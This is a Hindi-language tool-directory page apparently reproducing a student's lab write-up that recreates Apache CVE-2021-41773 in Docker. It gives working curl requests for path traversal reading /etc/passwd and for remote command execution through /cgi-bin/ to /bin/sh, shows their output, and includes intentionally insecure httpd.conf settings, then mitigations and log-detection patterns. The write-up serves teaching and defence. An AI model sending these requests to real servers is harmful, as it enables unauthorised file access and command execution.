Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Apache-CVE-2021-41773 — WHS 4기 이희수. kr-vulhub 과제 제출물 | Kitploit
उपकरण/GitHubGitHub/lheeeesoo/apache-cve-2021-41773
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHublheeeesoo/apache-cve-2021-41773

Apache-CVE-2021-41773

WHS 4기 이희수. kr-vulhub 과제 제출물

रिपॉजिटरी देखें
2 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-41773 Apache HTTP Server Path Traversal

Contributors

이희수(@lheeeesoo)


Apache HTTP Server 2.4.49 में URL पथ को सामान्य करने (normalize) की प्रक्रिया में एन्कोडेड पैरेंट पथ को ठीक से ब्लॉक न करने की कमजोरी है।

हमलावर .%2e जैसे मानों का उपयोग करके वेब सर्वर द्वारा सार्वजनिक करने के लिए निर्धारित निर्देशिका से बाहर निकल सकता है। बाहरी निर्देशिका तक पहुँच की अनुमति वाले वातावरण में सर्वर की आंतरिक फ़ाइलें उजागर हो सकती हैं, और यदि CGI सुविधा सक्रिय है, तो सिस्टम शेल चलाकर रिमोट कमांड निष्पादन संभव है।

इस परियोजना में Docker का उपयोग करके Apache HTTP Server 2.4.49 वातावरण सीधे बनाया गया और निम्नलिखित दो चीजों का पुनरुत्पादन किया गया।

  • Path Traversal का उपयोग करके /etc/passwd फ़ाइल का उजागर
  • CGI का उपयोग करके रिमोट कमांड निष्पादन

प्रोजेक्ट संरचना

root@kitploit:~
CVE-2021-41773/
├── Dockerfile
├── docker-compose.yml
├── README.md
├── apache/
│   └── httpd.conf
├── web/
│   └── index.html
├── scripts/
│   ├── poc.sh
│   └── poc.ps1
└── screenshots/
    ├── 01-container-status.png
    ├── 02-normal-service.png
    ├── 03-apache-version.png
    ├── 04-path-traversal.png
    ├── 05-rce-whoami.png
    └── 06-poc-script.png

वातावरण सेटअप

Docker इमेज बनाने और कंटेनर चलाने के लिए निम्न आदेश का उपयोग करें

root@kitploit:~
docker compose up -d --build

कंटेनर चलने की स्थिति निम्न आदेश से जाँचें

root@kitploit:~
docker ps

निष्पादन परिणाम में कंटेनर Up स्थिति में होना चाहिए, और होस्ट का पोर्ट 8080 कंटेनर के पोर्ट 80 से जुड़ा होना चाहिए


सामान्य वेब सेवा की पुष्टि

ब्राउज़र में निम्न पते पर जाएँ।

root@kitploit:~
http://localhost:8080

Apache वेब पेज सामान्य रूप से प्रदर्शित होने पर वातावरण सेटअप पूर्ण माना जाता है


Apache संस्करण की पुष्टि

कंटेनर के अंदर Apache संस्करण जाँचने के लिए निम्न आदेश चलाएँ

root@kitploit:~
docker compose exec web /usr/local/apache2/bin/httpd -v

निष्पादन परिणाम:

root@kitploit:~
Server version: Apache/2.4.49 (Unix)

CVE-2021-41773 से प्रभावित Apache HTTP Server 2.4.49 चल रहा है, इसकी पुष्टि होती है


कमजोरी की शर्तें

इस प्रयोगशाला वातावरण में निम्नलिखित शर्तें लागू हैं।

  • Apache HTTP Server 2.4.49 का उपयोग
  • Alias और ScriptAlias पथ का उपयोग
  • वेब रूट से बाहर की निर्देशिकाओं तक पहुँच की अनुमति
  • CGI सुविधा सक्रिय
  • Apache प्रक्रिया daemon खाते से चलती है

Apache कॉन्फ़िगरेशन में फ़ाइल सिस्टम के शीर्ष पथ तक पहुँच की अनुमति इस प्रकार दी गई है।

root@kitploit:~
<Directory "/">
    AllowOverride None
    Require all granted
</Directory>

साथ ही CGI निष्पादन के लिए निम्नलिखित सेटिंग का उपयोग किया गया।

root@kitploit:~
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"

<Directory "/usr/local/apache2/cgi-bin">
    AllowOverride None
    Options +ExecCGI
    Require all granted
</Directory>

Path Traversal

निम्नलिखित अनुरोध एन्कोडेड पैरेंट पथ का उपयोग करके कंटेनर के अंदर /etc/passwd फ़ाइल तक पहुँचता है।

root@kitploit:~
curl --path-as-is "http://localhost:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

.%2e URL डिकोडिंग के बाद .. के रूप में संसाधित होता है।

इसलिए हमलावर Alias पथ के आधार पर कई बार ऊपरी निर्देशिका में जाकर /etc/passwd फ़ाइल तक पहुँच सकता है।

निष्पादन परिणाम:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

/etc/passwd में उपयोगकर्ता नाम, UID, GID, होम निर्देशिका और लॉगिन शेल जैसी सिस्टम खाता जानकारी संग्रहीत होती है।

वास्तविक पासवर्ड शामिल नहीं है, लेकिन सामान्य बाहरी वेब उपयोगकर्ता के लिए अगम्य होने वाली सर्वर की आंतरिक फ़ाइल केवल HTTP अनुरोध के माध्यम से उजागर होने से सूचना उजागर की कमजोरी पुष्ट होती है।

वास्तविक संचालन वातावरण में उसी विधि से निम्नलिखित संवेदनशील जानकारी उजागर होने की संभावना है।

  • एप्लिकेशन कॉन्फ़िगरेशन फ़ाइलें
  • डेटाबेस कनेक्शन जानकारी
  • API कुंजियाँ और प्रमाणीकरण जानकारी
  • स्रोत कोड
  • लॉग फ़ाइलें
  • प्रमाणपत्र और निजी कुंजियाँ

CGI के माध्यम से कमांड निष्पादन

निम्नलिखित अनुरोध Path Traversal का उपयोग करके /bin/sh तक पहुँचता है और whoami कमांड चलाता है।

root@kitploit:~
curl -s --path-as-is \
  -d "echo Content-Type: text/plain; echo; whoami" \
  "http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

निष्पादन परिणाम:

root@kitploit:~
daemon

/cgi-bin/ पथ ScriptAlias से सेट किया गया है, इसलिए Apache उस पथ की फ़ाइल को केवल पढ़ता नहीं बल्कि CGI प्रोग्राम के रूप में निष्पादित करता है।

Path Traversal के माध्यम से /bin/sh तक पहुँचकर अनुरोध बॉडी में शामिल कमांड भेजने पर Apache निष्पादन खाते के अधिकार से कमांड चलता है।

इस वातावरण में Apache निम्न खाते से चलता है।

root@kitploit:~
User daemon
Group daemon

इसलिए कमांड निष्पादन परिणाम भी daemon खाते से आउटपुट हुआ।

रूट अधिकार नहीं है, लेकिन निम्नलिखित अतिरिक्त खतरे उत्पन्न हो सकते हैं।

  • वेब एप्लिकेशन फ़ाइलों में हेरफेर
  • कॉन्फ़िगरेशन फ़ाइलों और प्रमाणीकरण जानकारी की चोरी
  • दुर्भावनापूर्ण फ़ाइलों का डाउनलोड और निष्पादन
  • आंतरिक नेटवर्क की खोज
  • अतिरिक्त कमजोरियों का उपयोग करके विशेषाधिकार वृद्धि

PoC स्क्रिप्ट निष्पादन

अलग-अलग कमांड के बजाय PoC स्क्रिप्ट का उपयोग करके सामान्य सेवा, Path Traversal और रिमोट कमांड निष्पादन को एक साथ जाँचा जा सकता है।

PowerShell

root@kitploit:~
powershell -ExecutionPolicy Bypass -File .\scripts\poc.ps1

Bash

root@kitploit:~
bash scripts/poc.sh

स्क्रिप्ट निम्नलिखित आइटम क्रम से जाँचती है।

root@kitploit:~
[1] सामान्य सेवा की पुष्टि
[2] Path Traversal के माध्यम से /etc/passwd तक पहुंच
[3] CGI के माध्यम से id कमांड का निष्पादन


प्रतिकार उपाय

Apache संस्करण अद्यतन

Apache HTTP Server 2.4.49 का उपयोग न करें और सुरक्षा पैच लागू नवीनतम संस्करण में अद्यतन करें।

शीर्ष निर्देशिका तक पहुंच अवरुद्ध करें

संचालन वातावरण में फ़ाइल सिस्टम के शीर्ष पथ को डिफ़ॉल्ट रूप से अवरुद्ध करें।

root@kitploit:~
<Directory "/">
    Require all denied
</Directory>

आवश्यक वेब निर्देशिकाओं को अलग से अनुमति दें।

root@kitploit:~
<Directory "/usr/local/apache2/htdocs">
    Require all granted
</Directory>

अनावश्यक CGI निष्क्रिय करें

यदि CGI सुविधा की आवश्यकता नहीं है, तो निम्नलिखित को निष्क्रिय करें।

  • mod_cgi
  • ScriptAlias
  • ExecCGI

न्यूनतम विशेषाधिकार लागू करें

Apache प्रक्रिया को root के बजाय सीमित सेवा खाते से चलाएं, और उस खाते के लिए सुलभ फ़ाइलों और निर्देशिकाओं को न्यूनतम करें।

लॉग मॉनिटरिंग

निम्नलिखित जैसे असामान्य पथ वाले अनुरोधों का पता लगाएं और उन्हें अवरुद्ध करें।

root@kitploit:~
.%2e
%2e%2e
/cgi-bin/

वातावरण समाप्त करें

root@kitploit:~
docker compose down

निष्कर्ष

इस प्रयोग में Dockerfile का उपयोग करके Apache HTTP Server 2.4.49 बनाया गया और Docker Compose के माध्यम से पुनरुत्पादनीय कमजोर वातावरण सेट किया गया।

Path Traversal अनुरोध के माध्यम से सामान्य वेब उपयोगकर्ता के लिए अगम्य कंटेनर की आंतरिक /etc/passwd फ़ाइल उजागर होते देखा गया।

साथ ही, CGI सक्रिय वातावरण में /bin/sh तक पहुँचकर Apache निष्पादन खाते daemon के अधिकार से सिस्टम कमांड चलाने की पुष्टि हुई।

इससे यह स्पष्ट होता है कि CVE-2021-41773 केवल पथ उजागर तक सीमित नहीं है, बल्कि वातावरण सेटिंग के अनुसार रिमोट कमांड निष्पादन तक पहुँच सकता है।


संदर्भ सामग्री

  • Apache HTTP Server Security Vulnerabilities
  • NVD CVE-2021-41773
  • Apache HTTP Server URL Mapping Documentation
  • Apache CGI Documentation
टूल डाउनलोड करें